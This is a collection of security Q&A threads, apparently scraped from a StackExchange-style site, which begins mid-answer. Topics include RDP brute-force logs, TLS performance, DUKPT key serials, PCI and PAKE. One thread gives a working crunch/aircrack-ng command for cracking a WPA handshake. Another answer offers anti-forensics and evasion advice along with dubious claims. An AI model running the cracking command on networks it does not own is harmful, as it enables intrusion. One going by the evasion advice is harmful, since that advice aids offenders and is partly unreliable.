But, as some servers require those informations and only know a limited range of browsers, uncommon browsers and robots (request sent from non browser programs) often present fake values and pretend to be a firefox or IE browser. Said differently they are not really reliable when javascript is deactivated.

But the absence of Javascript support is a strong indication of a robot or uncommon browser (do you know lynx?), or a user that wants special processing on its browser. In that case, the type of the browser is much less important that the deactivation of javascript. Because as nowadays very few sites can be used without javascript, very few users disable it. As said by Stephen in his comment, the absence of javascript simply gives a fingerprint of no javascript.


Multiple 4625 audit failures on WS2012 R2 On our WS2012 R2, I see multiple 4625 logon audit failures. Anything between once every 5 minutes to 5 times a minute. The usernames that fail the logon attempt change frequently. But seem to be from a list of commonly used usernames (Administrator, User, Test, Sales, Bob, Intern, Admin2, BOARDROOM, BARBARA, ALAN, COPIER, BACKUP, XEROX, USER1, RECEPTION etc. ). These failed attempts also seem to continue 24/7.

Since we are a pretty small company, I am quite sure that these are not legit attempts and are automated.

Below is an example log from Windows logs security.

Subject:
Security ID: NULL SID
Account Name: -
Account Domain: -
Logon ID: 0x0
Logon Type: 3
Account For Which Logon Failed:
Security ID:        NULL SID
Account Name:       BOARDROOM
Account Domain:
Failure Information:
Failure Reason:     Unknown user name or bad password.
Status:         0xC000006D
Sub Status:     0xC0000064
Process Information:
Caller Process ID:  0x0
Caller Process Name:    -
Network Information:
Workstation Name:   -
Source Network Address: -
Source Port:        -
Detailed Authentication Information:
Logon Process:      NtLmSsp
Authentication Package: NTLM
Transited Services: -
Package Name (NTLM only):   -
Key Length:     0

Am I right to worry that we are hacked? How would I find out from where these failed logon attempts are coming from and stop them?

So according to some small search on the internet, you're most likely under some sort of attack. If it is not, then someone must have done a huge mistake while configuring a connection script.

What we learn from your log :

Someone is trying to access your server from outside (logon type 3), through RDP.
The attempts are for now, all failures (event id 4625)
It is most likely a script, according to the frequency of the failed logons
You don't have any information about the source machine trying to access your server.

Why do you have no information ? Most likely due to the RDP, which prevents your server from logging such informations.

What you should do then ?

Try to restrict access to your server through whitelisting. Allowing only trusted workstation in your network to access the server.

Also, if you don't have one, some IDS/IPS can prevent such try.

If you can't afford either of these solutions, since the attack looks random and most likely based on a list of "most commonly used username and password", changing some critical usernames with unconventionnal ones might delay or even negate the attack.

Also in case one of your accounts match a tested username, a common practice is to lock an account after X failed authentication trials, or generate a new password for it. On the one hand you limit the risk that script finds the good username/password couple and exploit it, on the other hand, you're exposing your system to administration outages, by having some of your important accounts locked.

Be aware this is only a workaround, this is not meant to be a durable solution. Restricting access to your server would probably be best.


Downsides of allowing multiple emails per user? There's lots of information on using one email for multiple accounts, but how about the other way around? I'm building a service and considering allowing users to log in with any of their registered emails, using the same password for all of them. Instead of a "my account is my email" mindset, I'm going for a "my account has emails that I can use to access my account" mindset.

Aside from increasing the discoverable routes of entry for an attacker, are there any security downsides to this?

This is a fairly common practice for a some popular sites. Disclaimer, I've never done this for my applications, but from what I can tell, not really security-wise, other than what you mentioned. It's really the implementation that will take some thought as there are fewer packages out there that are going to support such behavior out of the box. Think about things like limiting the number of email addresses a person can use, communication procedures (ex. do password resets go to just the primary email, or would you allow any attached email), database schema, etc.

Here's an example of a couple of sites that do allow users to have and log in with multiple emails: github.com, facebook.com and internet.bs.


How to trace malicious hackers? What are some of the ways law enforcement agencies can trace a hacking attempt back to the hacker?

IP and MAC addresses can be spoofed easily, hackers can easily hide their tracks using compromised host around the globe to launch attacks from.

In such a situation, is it at all possible for law enforcement agencies to track and arrest these hackers?

How about some of the more localized attacks like cracking WEP/WPA passwords to gain access to the wireless network, or web application attacks like XSS or SQL injections?

Help with tagging is appreciated, i don't know what to tag this question as.

Terry Chia, we meet again xD. Simple put, although technologies to track hackers are present, there are a number of constraints on governments that prevent them from doing so. That said, a private individual working as a blackhat will probably have better chances to track a particular hacker.

To begin with, the main reason law enforcement agencies arrest hackers in the first place is their connection to their (generally some crappy free) VPN breaks down without their realization. The reason IP Spoofing is so devastating is if a US individual spoofs a Russian and then Chinese IP, it is almost certain that the two governments would never help US law enforcement. So you ask how it can be done?

To track such a hacker a number of precautions would have to be applied on the server, JavaScript and PHP like languages can provide useful information such as the clients browser, operating system, etc which is generally not spoofed. Additionally, web application attacks will not work because I doubt the hacker will stay on the same IP for long.

For example, Google has been known to be able to track users even under spoofed IPs and disabled geo location instantly. They do this, by capturing all wifi points in range every time you connect to them, by matching this to their existing database of wifi points they could easily locate you. The technique essential works by invading user privacy. If the "law enforcement" could access such a database, they could use it against you. Additionally if they can somehow sniff such traffic they could obtain the same info.

Here's a video demonstration that: http://www.youtube.com/watch?v=McF50tjuFEs

Ultimately, it's not viable for law enforcement to accurately track or arrest any individual, because laws in most country believe that a person is not guilty unless convicted. What I mean is that, even if they get your "true IP" and come to your house, hackers have been known to have security measures to erase disks several times over beyond capabilities of cyber forensics or use Deep Freeze/TrueCrypt to hide and lock that data with multiple unbreakable layers of encryption.
If you do it right, there's no "evidence" on your PC. In fact, people can got away in many cases because they claimed their computer was used as a zombie or their wifi was hacked. In many cases it is true.


Is there any drawbacks of "accepting all cookies" while in incognito mode? Since the GDPR landed, many websites have to inform you about their cookie usage and give you an option to enable/disable them for provider and for reason of storage. Say that I find a link I want to read but they ask for consent of storing cookies in my device (which I would rather not, if possible)

Am I fine if I open a private/incognito window and accept all cookies there and close it after I'm done?

The reason behind this is because having to withdraw consent of all links I click quickly becomes a tedious task. Please also note that disabling cookies is not an option for two reasons: there are sites from which I want to store cookies and I intend to do this in all of my devices, not only in a specific system

If the only concern you have is tracking cookies, the only downside I see is that cookies aren't cleared until you close the incognito session, so they could still be used to track you across sites during that session.

As an alternative, there are also browser extensions that clear cookies after leaving a site, but only for sites you haven't whitelisted.


understanding and getting over the SSL performance issue There are many great articles explaining how SSL/TLS works on this site, but I would like to bring in the performance issue. The thing is that I am serving my web content over HTTPS and the SSL handshake takes a lot of time.

As much I understand at the moment the connection thru HTTPS is created as follows:

TCP handshake
SSL handshake
HTTP data

Now, considering that I am not allowed to use the keep-alive header in HTTP, does that mean that with every request all those 3 points are triggered? My empiric tests show, that the SSL handshake part that is extra from plain HTTP takes around 200-300ms. For loading the main page the app is making 10+ requests, so that would mean 200*10 = 2 seconds, right? That is too much.

So the question is: How can I optimize those routines? And also, how is the performance distributed between server and client during SSL handshake? Seems like the server has to do a lot more computation, is that correct?

When your website references 10 external files, these will not be loaded one after another. The users web browser will request them all at the same time and load them in parallel. That means the total time is 200ms for loading the HTML file and another 200ms for loading all the images, scripts, stylesheets etc. which are mentioned in it.

The RFC 2616 states that web browsers are only allowed to open two connections to each server at the same time, but nowadays all major browsers ignore this and allow a lot more parallel connections (how many varies from browser to browser and is often configurable by the user).


How are private keys (sMIME, PGP, etc) synchronized across a user's devices? Given that user needs to store a copy of the same private key on each of his devices (in order to decrypt email and other data encrypted with the public key)  ... what are some general techniques for sharing and optionally removing the private keys from a user's various devices?

Would a file sharing service suffice?

Do most SMIME or PGP deployments assume that the key is only stored on the smartcard or other device?

Typically private keys are not shared. You have a different key for every use, which typically includes every device. I'm not sure that's the right decision, but it's the typical one.

However, most private key storage technologies support encryption. They often say "password protection" but it's implemented as strong encryption. So in my opinion, as long as you "protect" with a suitably impossible-to-guess password, then the security is largely under control. I wouldn't put it up on pastebin simply because there's no need to invite unnecessary risk.

As an example, I have an SSH key that was used as the only point of access for a set of servers. That key was protected by a random password and was never stored unencrypted, ever. That encrypted key, along with other important files, was saved to a folder that was mounted using encfs, controlled by another random password. The backing-store for the encfs filesystem was a folder synchronized between workstations by Dropbox.

So to get at my key, you'd have to get in to my private Dropbox folder (non-trivial, but not impossible), guess my encfs password (significantly more difficult), and then guess my private key password.

For one person to get lucky enough to hit all three is unlikely enough for me to feel pretty confident in the syncing arrangement. And I get all the relevant important secret documents synced between all the associated machines across Linux, OSX, and Windows, and it just works. Each "secret" folder is only encfs-mounted on-demand when they're needed, so even though the files are technically present everywhere that Dropbox syncs (good for backup purposes), they're not available without the encfs password.


Web/App vulnerability responsibility While auditing a few web apps and websites I uncovered a few serious vulnerabilities which I've since flagged (responsibly, of course). One of the things I noticed was that several development companies had worked on parts of this application and that got me thinking. In the event of a security breach or data leak, who's ultimately responsible for that? I'm UK based so I'm going to refer to UK law here but I'm sure the same could apply in your region.

I'm not talking about cases where dev studios have contracts that absolve them from any vulnerabilities but more in cases where no contract is in place between the developer(s) and the business. For example, one particular application was vulnerable to SQL injection and was worked on by a very junior developer. It's a public facing app, so loads of juicy customer data was stored in the database.

If the database was breached and private customer data exposed, this would constitute a breach of the Data Protection Act 1998. Who's ultimately responsible for that breach? The business as they're the one providing the service? The developer as they're the one that introduced the flaw that allowed access (knowingly or otherwise)? The third party dev company for providing the work? While the business should be ultimately responsible in my opinion for the safety of the customer data, it could be argued that somebody broke the Computer Misuse Act 1990 by introducing a vulnerability knowingly or unknowingly allowing the application to become compromised. My question is it only the business that'd be in the firing line, or would the developers be too?

Also attribution must be considered. If a senior dev picks up the script above, makes changes and doesn't do due diligence to check for vulnerabilities, does that make them now responsible rather than the original developer, or are they both now in the firing line.

Just to clarify - I'm not looking for hard legal advice here, but it's worth asking the question of responsibility.

IANAL - I would guess that the business would be liable for the data protection breach since they would usually be the ones in control of the data before its input/uploaded to the system. If they could show that the breach was due to a security failure in the software, they would probably be in a good position to sue the development company for any losses since it would have been their proffessional negligence that caused the breach.

Whether the individual developer that worked on it was junior/senior does not really matter since its the development company that would be the legally responsible entity. Of course the development company could then choose to take disciplinary action against its employee if they find them to be responsible, but I don't think that would have any connection to the legal responsibility (this may be different for the case of company directors and companies without limited liability).


Understanding Key Serial Numbers (KSN) in Derived Unique Key Per Transaction (DUKPT) I have a number of questions regarding Key Serial Numbers (KSNs) in DUKPT:

KSNs are 8 - 10 bytes long. Older implementation are 8 bytes whereas newer ones are 10 bytes.  Do I risk being incompatible with some old system if I create 10 bytes long KSNs?
KSNs have 3 components: a 21 bits transaction counter and remaining bits are for key set ID and Tamper Resistant Security Module (TRSM) ID.  For an 8 byte KSN the typical convention is 24 bits for key set ID and 19 bits for TRSM ID.  This means around 16M Base Derivation Keys (BDKs) and 500K devices.  To me this allocation has pros and cons. The cons are that I will never have 16M BDKs and if the business is successful it is quite possible to have > 500K devices.  The advantage is that it forces us to not use the same BDK on more than 500K devices which limits exposure of one BDK being compromised.  I do read that there is flexibility in how many bits are allocated to key set ID vs TRSM ID.  So I'm tempted to swap the allocation such that we can have up to 500K BDKs and 16M devices.  But I also see many open source implementations of DUKPT that assume 24-19-21 bits split.  Those implementations would all break if I don’t follow the convention.  Would you recommend that I just stick to convention?
Is there some standard way for setting the key set IDs or does every entity owning a BDK come up with its own convention?  Can I assign key set ID = 1 to my very first BDK ever and then increment it by 1 for each new BDK?  Or is that strategy too naive?
Is there some standard way for setting the TRSM ID?  Can I assign TRSM ID = 1 for the very first device injected using a new BDK and then increment it by 1 for each new BDK?

8/10 bytes. The standard has always had KSN 10 bytes (80 bits), but allowed smaller values padded on the left with 0xFF,
and many people did or do use 8 bytes. I'm not in a position to say there's a clear pattern either way. If any of the devices
(or systems) you expect to deal with are limited to 8 bytes, then yes use 8 bytes.
As below, it's basically arbitrary now anyway.
You're right nearly everyone seems to use xx-19-21 bits which for 8 bytes is 24-19-21 bits. Remember DUKPT was
originally designed for ATMs that cost many thousands of dollars, so 512K wasn't a troublesome limit;
now people use it for matchboxes. Technically only the counter part (xx-21) matters to the encryption
so you can shift the other boundary(ies?) if your programs, APIs, partners etc. can handle it. OTOH if you stick to convention,
which is easier, nothing says different KSIs must always map to different BDKs.
You can have [FFFF]ABAB00-mmmmm is the first 512K devices for BDK A, ABAB01-mmmmm is the second 512K, etc.,
ABAB50 is the first batch for BDK B, etc.
As long as you only need to manage tens or maybe a hundred batches (50+ million devices) this is fine. If you needed much more than 500+ million then I'd worry about it, but by then you'd have enough clout to change this.
Originally the idea was that KSI would identify the bank or subpart of a bank (ATMs, remember) and be globally unique
so any cryptogram in the clearing network would self-identify/verify who it "belongs to".
Nowadays KSI has basically become arbitrary, so yes pick what you like.
Except I suggest don't use a value that has leading zeros; too many things tend to think leading zeros on
a number-looking (even hex-looking) value are not significant and drop them.
TRSM ID (or device id): yes just use sequential numbers. But beware you often are shown
the 21-19 bits displayed in hex like -00000-ttttt and -00001-ttttt are device 0, -00002-ttttt plus are device 1, ... -FFFFE-ttttt plus are device 0x7FFFF.


PCI Definition of "Transmission" I am working at a company that is PCI compliant, but I believe they have interpreted some of the requirements incorrectly. Because of this, they are laboring to create work-arounds which I suspect are not necessary.

Specifically, I am wondering about the definition of "Transmission", in the context of PCI requirement 4.2 b "All secret and confidential data must be encrypted at all times during transmission and storage".

The company has taken this to mean that any time a file is copied WITHIN THE INTERNAL NETWORK, that this constitutes transmission, and because of that the file needs to first be encrypted.

I believe, though, that transmission seems to imply transfer through the internet - where of course you would need to have that encrypted.

Can anyone help settle the argument?

Instead of trying to toe some ill-defined line, think about your security, and your responsibility to your customers.  If a hacker was in your network, what would happen?

Even if PCI didn't technically require it, if this data is in my network, I would require it. That said, our QSA's interpretation is that it always needs to be encrypted internally.


How do companies authenticate internal users in internal systems? Assuming that a company has an AD/LDAP server with accounts for all employees and has many internal systems that must authenticate those users, what would be a good solution in terms of security best practices to allow these systems to access LDAP server?

I think it's bad allowing many different systems accessing the company user directory. What would be a good solution? Do you know any references/guidelines to this type of problem?

You generally trust your internal applications that you allow to authenticate against an internal user directory. If you don't trust them, it does not make sense to allow then on premises, and allowing login.

Furthermore, user enumeration is usually not considered a high impact risk. Many companies have public usernames, in the form of firstname.lastname@example.com, which is rather widely distributed.

If your security relies on restricted access to LDAP, you're probably doing something wrong.


Can we build a key exchange protocol without certificates? Assume that the server and the client both has some secret key K. Is it possible to have a key exchange protocol with authentication between them such that MITM attack cannot hold and if the key is exposed at some point in time the past sessions are still in secret?

I tried it using the regular Diffie-Hellman key-exchange protocol with passing a signature of K to the server, but in every version of it a MITM can impersonate the client and te server and watch all the session...

Yes, it can be done. This is called a Password Authenticated Key Exchange. Such protocols reuse "asymmetric crypto" elements (such as Diffie-Hellman) and mix them "smartly" with a shared secret, so that:

Client and server authenticate each other with regards to the shared secret.
Guessing the shared secret does not allow decrypting past sessions.
Nothing in what is recorded gives enough information to test potential values for the shared secret.

The third condition implies that a low-entropy shared secret, e.g. a "password", can still safely be used, hence the name for this kind of protocol. The cryptographic concept was invented in 1992 by Bellovin and Merrit, under the name "encrypted key exchange" (formally, a DH key exchange in which messages are symmetrically encrypted with the shared secret, so that decryption with the wrong secret still yields syntaxically valid DH messages -- the actual mathematical requirements are subtle).

In the context of SSL/TLS, a standard PAKE protocol has been defined, under the name SRP (see also the Wikipedia page). SRP is good. Unfortunately, Web browsers don't seem to support it (yet).


How do I resume a dictionary attack using a custom starting number? The script below generates 8 digit strings using a combination of characters 0123456789 from number 00000000 to 99999999.

crunch 8 8 0123456789 | aircrack-ng -a 2 'HOME-TC-FILE-CAP' -e 'ESSID' -b 'HANDSHAKE' -w -

I haven't finished generating all of the password.

How do I resume the dictionary attack using custom starting number, for example from 02000000 to 99999999?

Add a -s argument to specify starting point, per Crunch wiki:

-s <startblock>
Optional. Allows you to specify the starting string, eg: 03god22fs


Encryption - which are/aren't NSA backdoored I prefer bcrypt because it uses a lot of "power" to decrypt.

But which encryption can i use that is most likely safe for NSA (which knows a lot of backdoors) and is relatively slow to decrypt.

I know RSA advised against their default encryption, which is developed partially by the NSA, here are other "unsafe" encryption methods who use elliptic-curve based encryption (pushed by the NSA off course):

Crypto-C ME,
Micro Edition Suite,
Crypto-J,
Cert-J,
SSL-J,
Crypto-C,
Cert-C
SSL-C

So which ones are (presumably) safe and which aren't...?

Update:
Some people seem to think that this answer is subjective. But objective facts like : is not made in the USA, isn't popular.. aren't subjective.

The examples above, are also examples that the NSA really helped with, so have a high chance of containing a backdoor..

I know there is no answer that is absolutely correct, but there are multiple valid factors to consider in answering this question.
For example, would the NSA choose an encryption they know they have backdoored, what do they use? Someone else could discover the backdoor and breach the security of the NSA.

Assume that I tell you:

  Yeah, that library is safe and not backdoored by the NSA

then would you trust it ? After all, it was guaranteed safe by "some guy on the Internet who uses a plush teddy bear for his face". Cannot get better than that !

(Trust is at the root of the whole business. Making sure that a given system is free of backdoors is, ultimately, as unsolvable as your question is unanswerable.)


Does WPA3 OWE mean the return of Evil Twins? When WPA3 has a reasonable level of market penetration, one of its key selling points is Opportunistic Wireless Encryption (OWE). In other words, a Starbucks can have a network without a password, and each WPA3 device that connects to it will still have its connection encrypted.

I'm concerned about how I will know that I'm connecting to the right Starbucks WiFi SSID. With WPA2 PSK (and some forms of Enterprise), I could tell whether the server also knew the right password. I suspect that many businesses are only using a PSK for their public WiFi because that's the only way to encrypt data with WPA2. If they stop using a PSK once OWE is available, how do I know that I'm not connecting to an Evil Twin?

Is there a trust-after-first-use certificate pinning? Is there a way to type in a certificate fingerprint for TOFU? Is there any other mitigation at all? There's some speculation in the comments on this answer, but it's not what I was hoping to hear.

Short answer: No, they never left

OWE is not meant to replace PSK, it's meant to enhance open networks by encrypting them, but doesn't provide authentication. For that you still need a PSK or Enterprise configuration. As such, you have the same problem with "evil twins", aka MitMs, in WPA3 OWE networks as you have in unprotected networks.


Why is TCP more secure than UDP? While reading MS SDL (Microsoft Security Development Lifecycle) presentations I found a recommendation to replace UDP with TCP in applications because TCP is more secure than UDP. But both of them are only transport layers, nothing more.

So why is TCP more secure than UDP?

To send data to an application using TCP, you first have to establish a connection.  Until the connection is established, packets only get to the OS layer, not the application.  Establishing a connection requires that you receive packets back to the initiating end.  If you wanted to forge an IP address not on your own network and establish a TCP connection, you'd need to be able to intercept the packets the other side sent out.  (you need to be "in between" the endpoint, and where the packets to the forged IP address would normally go, or do some other clever routing tricks.)

UDP has no connection, so you can forge a packet with an arbitrary IP address and it should get to the application.  You still won't get packets back unless you're in the right "place" of course.  Whether this matters or not depends on the security you put in the application.  If you were to trust certain IP addresses more than others inside the application, this may be a problem.

So in that sense, TCP is more "secure" than UDP.  Depending on the application, this may or may not be relevant to security.  In and of itself it's not a good reason to replace UDP with TCP since there's other tradeoffs involved between the two protocols.